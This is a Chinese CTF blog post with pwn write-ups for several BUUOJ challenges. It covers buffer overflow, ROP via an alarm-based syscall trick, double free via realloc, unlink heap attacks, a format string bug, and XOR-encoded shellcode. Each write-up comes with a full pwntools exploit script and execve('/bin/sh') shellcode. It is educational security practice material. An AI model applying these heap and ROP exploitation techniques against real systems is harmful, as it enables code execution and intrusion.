登录后台

页面导航

本文编写于 250 天前,最后修改于 91 天前,其中某些信息可能已经过时。

picoctf_2018_are you root

遇到了几个陌生函数,记录一下

strtok:
函数原型:char *strtok(char *str, const char *delim)
函数功能:用'x00'替换str中的delim字符串,返回新字符串的地址

strdup:
函数原型:char * strdup(const char *s);
函数功能:先用maolloc()配置与参数s字符串相同的空间大小,然后将参数s字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。

strtoul()
函数原型:unsigned long strtoul (const char str, char* endptr, int base);
函数功能:str 为要转换的字符串,endstr 为第一个不能转换的字符的指针,base 为字符串 str 所采用的进制。strtoul() 会将参数 str 字符串根据参数 base 来转换成无符号的长整型数(unsigned long)。参数 base 范围从2 至36,或0,参数 base 代表 str 采用的进制方式。

程序很简单,login的时候可以溢出

sh.recvuntil('> ')
sh.sendline('login '+'\x05'*0x9)
sh.recvuntil('> ')
sh.sendline('reset')
sh.recvuntil('> ')
sh.sendline('login '+'a')
sh.recvuntil('> ')
sh.sendline('get-flag')

0CTF 2016 warmup

原题目给了flag的位置,32位的程序

程序读入一个字符串然后输出一个good luck,ida查看反汇编代码配合gdb分析

可以读入0x34的大小,栈空间的大小是0x20,只开了NX保护

因为都是sys_call类型的函数,rop肯定不行,看wp尝试用orw的方法,但是缺少open函数

这里有个关键点是alarm函数,第一次调用alarm之后开始计时,计时完之前如果再次调用alarm就会把剩余的时间以秒为单位作为返回值返回,这就是这个题目的突破口了,本题中的alarm是10秒的时间,32位系统中open函数的系统调用号是5,刚好可以

所以最后的方案就是通过调用两次alarm,将eax设置为5(open的系统调用号),然后rop到设置ebx,ecx,edx然后int 80h的位置,这样就可以调用open了,接着的思路就是有了open,然后找两个位置,一个read读path,一个read读内容,最后write把内容写到stdout即可

exp:

from pwn import *
import time
context.log_level = 'debug'
s = remote('node3.buuoj.cn',27246)
#s = remote('202.120.7.207', 52608)

'''
time.sleep(1)
print 'warmup pid is %d' % pwnlib.util.proc.pidof('warmup')[0]
raw_input('go!')
'''

read = 0x0804811D
write = 0x08048135
start = 0x080480D8
f = 0x08049200
tmp = 0x08049240
flag = 0x08049300
stackinc = 0x080481B8
openf = 0x08048122

s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(0) + p32(f) + p32(20))
s.send('flag\x00')

s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0) + p32(openf) + p32(start) + p32(f))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(stackinc) + p32(0) + p32(tmp) + p32(20))
s.send('aaaaa')

s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(3) + p32(flag) + p32(50))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(write) + p32(start) + p32(1) + p32(flag) + p32(50))
s.interactive()

ciscn_2019_es_5

add函数能添加10个chunk,先malloc(0x10),存放content的地址、大小、标志位,edit一次后标志位置0,不能show或再次edit,不存在漏洞

edit函数里有个realloc函数!!当realloc(*ptr,size)中size为0时,相当与free这个chunk一次,因此导致了double free

image.png

ciscn_2019_final_4

http://blog.leanote.com/post/xp0int/%5BPwn%5D-Pwn7-cpt.shao

在init函数里看到了prtcl函数,说明这题禁用了一些函数,拿seccomp检测一下,发现禁用了execve

image.png

存在uaf漏洞,没开pie,需要构造open->read->writ来泄露flag,且禁用了调试,可以把前面的函数nop掉

预期的做法是往malloc hook上写pivot gadget,其实程序开始时候要求输入用户名的地方可以存放rop chain,在触发__malloc_hook的时候刚好用一条add rsp,0x38的gadget就能跳到用户名的rop chain上面去。而写用户名的时候libc地址还没被泄露出来,所以只能用code段的gadget来做rop,不过已经足够,做法还是先用短rop来读入长rop,第二次rop chain就可以用libc上面的gadget了,mprotect解开执行权限,跳shellcode就行了。

整理一下思路:

1.利用code段的gadget构造一个rp链,这个rop链需要读入一次,并将栈迁移到bss数据段,写到name里面

2.泄露libc地址,算出add rsp,0x38这个pivot_gadget的地址

3.改写__malloc_hook为pivot_gadget,此时程序会有一次读到bss段的机会,并将迁移到bss数据段;这次读的是mprotect的rop链

4.用mprotect改bss数据段的权限,构造读flag的rop链

5.读取flag

结果:以上方法失败。。。然后学了另一位师傅的方法,链接如下

https://blog.csdn.net/seaaseesa/article/details/105855306

总结一下思路;

1.泄露libc,在bss的size地址那里伪造heap结构,用fastbin将heap申请到伪造的heap,此时heap指针就是可控的

2.将heap0的地址改为environ指针,泄露stack地址

3.利用doublefree将heap申请到栈上,需要提前在name那里伪造堆块,然后泄露canary

4.继续利用doublefree将heap申请到name那里,进行rop,但是由于main函数是死循环,需要进行二次rop跳转到main函数的ret

5.劫持new函数的ret,跳转到main函数,进行open->read->write

wdb2018_guess

程序有三次fork,创建三个子进程,有三次输入机会

利用SSP leak(Stack Smashing Protector Leak),第一次系列got计算出libc,第二次用environ计算出stack地址,第三次泄露flag

xman_2019_format

格式化字符串漏洞在堆上,选用$18作为跳板,第一次用ebp修改跳板地址为ret,第二次用跳板修改ret为onegadget

需要爆破一字节

from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('xman_2019_format')

if debug:
    sh = process('./xman_2019_format')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 25793)
    libc = ELF('/home/at0de/Desktop/buuoj/libc/libc-2.23-64.so')
#
payload = '%' + str(0x98-0x4C) + 'c%10$hhn|'
payload += '%' + str(0x080485AB & 0xFFFF) + 'c%18$hn|'
sh.recvuntil('...\n...\n')
sh.sendline(payload)
sh.interactive()

jarvisoj_guestbook2

程序会在开头申请一个chunk,用来存放所有chunk的状态,大小,地址;

add函数里对申请的块大小进行了0x80的对齐,也就是只能申请0x80,0x100,0x180之类的块

在delete函数里,没有对chunk地址置0,而且条件判断不严格;edit函数里的realloc存在漏洞

解题思路:本题中edit的size大小有限制,所以需要realloc的新size大于原size进行溢出,条件是reallco的块的下一个块在bins里,这样就可以泄露libc或chunk地址;因为本题中chunk的大小是0x80对齐的,而且没开pie,所以需要用unlink来解题

from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('guestbook2')

if debug:
    sh = process('./guestbook2')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 27011)
    libc = ELF('/home/at0de/Desktop/buuoj/libc/libc-2.23-64.so')


def add(size,data):
    sh.sendlineafter('Your choice: ',str(2))
    sh.recvuntil('new post: ')
    sh.sendline(str(size))
    sh.recvuntil('post: ')
    sh.send(str(data))
def show():
    sh.sendlineafter('Your choice: ',str(1))
def edit(idx,size,data):
    sh.sendlineafter('Your choice: ',str(3))
    sh.recvuntil('number: ')
    sh.sendline(str(idx))
    sh.recvuntil('post: ')
    sh.sendline(str(size))
    sh.recvuntil('post: ')
    sh.send(str(data))
def delete(idx):
    sh.sendlineafter('Your choice: ',str(4))
    sh.recvuntil('number: ')
    sh.sendline(str(idx))
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
delete(3)
delete(1)
edit(0,0x90,'b'*0x90)
show()
sh.recv(0x93)
heap_base = u64(sh.recv(4).ljust(8,'\x00')) - 0x19d0
log.success('heap_base: '+hex(heap_base))

ptr = heap_base+0x30
payload = p64(0x90) + p64(0x80) + p64(ptr-0x18) + p64(ptr-0x10) + 'a'*0x60
payload += p64(0x80) + p64(0x90+0x90) + 'a'*0x70
edit(0,len(payload),payload)
delete(1)
payload = p64(2)+p64(1)+p64(0x100)+p64(ptr-0x18)
payload += p64(1)+p64(8)+p64(elf.got['atoi'])
payload = payload.ljust(0x100,'a')
edit(0,len(payload),payload)
show()
sh.recvuntil('1. ')
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['atoi']
edit(1,8,p64(libc_base+libc.symbols['system']))
sh.recvuntil('choice: ')
sh.sendline('/bin/sh\x00')
#gdb.attach(sh)
sh.interactive()

360chunqiu2017_smallest

很优秀的一道汇编题,考验srop

https://github.com/Hustcw/pwn_repo/blob/master/360ChunQiu2017_smallest/exp.py

sleepyHolder_hitcon_2016

https://blog.csdn.net/seaaseesa/article/details/105856878

主要能操作两种类型的chunk,0x28,0x4000,还有一种0x400000是为了调用mmap分配新内存,存在uaf漏洞

用多个fastbin和一个0x4000构造malloc_consolidate,然后使用unlink泄露libc,getshell

from pwn import *
#context.log_level = 'debug'
debug = 0
elf = ELF('sleepyHolder_hitcon_2016')

if debug:
    sh = process('./sleepyHolder_hitcon_2016')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 27025)
    libc = ELF('/home/at0de/Desktop/buuoj/libc/libc-2.23-64.so')


def add(size,data):
    sh.sendlineafter('3. Renew secret\n',str(1))
    sh.recvuntil('secret\n')
    sh.sendline(str(size))
    sh.recvuntil('secret: ')
    sh.send(str(data))
def edit(idx,data):
    sh.sendlineafter('3. Renew secret\n',str(3))
    sh.recvuntil('2. Big secret\n')
    sh.sendline(str(idx))
    sh.recvuntil('secret: \n')
    sh.send(str(data))
def delete(idx):
    sh.sendlineafter('3. Renew secret\n',str(2))
    sh.recvuntil('2. Big secret\n')
    sh.sendline(str(idx))
ptr = 0x6020d0
add(1,'a'*0x20)
add(2,'b'*0x20)
delete(1)
add(3,'c'*0x20)
delete(1)
payload = p64(0) + p64(0x21)
payload += p64(ptr - 0x18) + p64(ptr - 0x10)
payload += p64(0x20)
add(1,payload)
delete(2)
edit(1,p64(0)+p64(elf.got['free'])+p64(0)+p64(ptr-0x10)+p64(1))
edit(2,p64(elf.plt['puts']))
edit(1,p64(elf.got['atoi'])+p64(0)+p64(elf.got['atoi'])+p64(1)+p64(1))
delete(1)
libc_addr = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['atoi']
edit(2,p64(libc_addr+libc.symbols['system']))
sh.sendlineafter('3. Renew secret\n','$0')
sh.interactive()

tiny_backdoor_v1_hackover_2016

gdb测试发现能读入9个字符,存储在0x600136的地址,然后程序会将0x600136和0x60013f逐字节进行异或,最后会调用0x60013f。

image.png

image.png

这9字节不够我们写入shellcode,所以需要构造一次read来写入真正的shellcode

栈上前四个数据全是0,我们用syscall构造read需要满足rdi=0,rsi=buf,rdx=size,其中rsi已经是0x600136,用pop指令就可以将rax和rdi置0

5d     pop    rbp
58     pop    rax
5f     pop    rdi
b2 ff  mov    dl,0xff
0f 05  syscall
ff e6  jmp    rsi

真正的shellcode是调用execve("/bin/sh", 0, 0),将'/bin/sh'字符串存储在0x600180 的地址,将rdi和rsi置0;

b8 3b 00 00 00          mov    eax,0x3b                                         
bf 80 01 60 00          mov    edi,0x600180                                     
48 31 f6                xor    rsi,rsi                                          
48 31 d2                xor    rdx,rdx                                          
0f 05                   syscall

exp:

from pwn import *
context(arch = 'amd64', os = 'linux')
sh = remote('node3.buuoj.cn',27001)
key = [
    0xb3,0x91,0x7f,0xdd,0x62,0x81,0x11,0x6a,
    0x90,0x8c,0xdb,0xae,0x70,0xa7,0x3f,0xff,
    0x3a,0xc3,0xe6,0x32,0xff,0x5e,0x46,0x63,
    0x9a,0x14,0xb7,0x9e,0xad,0xf6,0x09,0xdc,
    0x33,0x2f,0x35,0xc6,0x6f,0x1a,0x7f,0xff,
    0x1b,0xc2,0xb5,0xb7,0xb7,0xc2,0xd1,0x75,
]

#payload = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3'
shellcode1 = asm('''
pop rbp
pop rax
pop rdi
mov dl,0xff
syscall
jmp rsi
''')

payload = ''
for i in range(9):
    payload += chr(ord(shellcode1[i])^key[i])
sh.send(payload)
  
shellcode2 = '\x90'*0x1e+asm('''
mov rax,59
mov rdi,0x600170
xor rsi,rsi
xor rdx,rdx
syscall

''')

payload = shellcode2.ljust(0x3a,'a')+'/bin/sh\x00'
sh.send(payload)
sh.interactive()

发现南梦师傅的做法更简洁,直接读取flag

key = 'e6d9f6382a02fd3ac3'.decode('hex')

gdb调试的出来南梦师傅的key是下面框里的四条命令

image.png

一步步调试发现内存中存在gadget?南梦师傅tql

image.png